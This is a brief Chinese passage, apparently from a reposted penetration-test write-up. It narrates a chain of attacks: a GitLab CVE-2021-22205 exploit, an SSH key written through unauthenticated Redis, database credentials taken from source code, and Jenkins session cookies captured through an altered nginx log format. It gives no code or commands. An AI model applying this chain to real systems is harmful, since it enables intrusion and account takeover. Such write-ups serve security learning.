通过探测发现gitlab存在历史漏洞CVE-2021-22205，利用该漏洞获取到gitlab服务器权限 利用gitlab的redis未授权访问漏洞写入ssh密钥，获取到root权限如下： 在gitlab的代码中进行翻阅，发现禅道数据库账号密码，真香，同时也在这里提个小建议，如果进入内网并发现gitlab，第一时间拿下来，好处多多。 数据库直接修改root密码进入后台： 通过后台功能getshell如下： 征服Jenkins通过gitlab系统发现该机器存在nginx，通过查看nginx配置文件，发现对sonar\jenkins\等多个系统进行反向代理，通过在jenkins.conf文件中配置日志 获取cookie格式，获取到了jenkins用户登陆cookie如下： 使用获取到的cookie成功登陆Jenkins： 小结通过社工钓鱼撕开口子，内网转了一大圈，也获取了一些成果，咱们下期见。 转载于原文： https://forum.butian.net/share/2583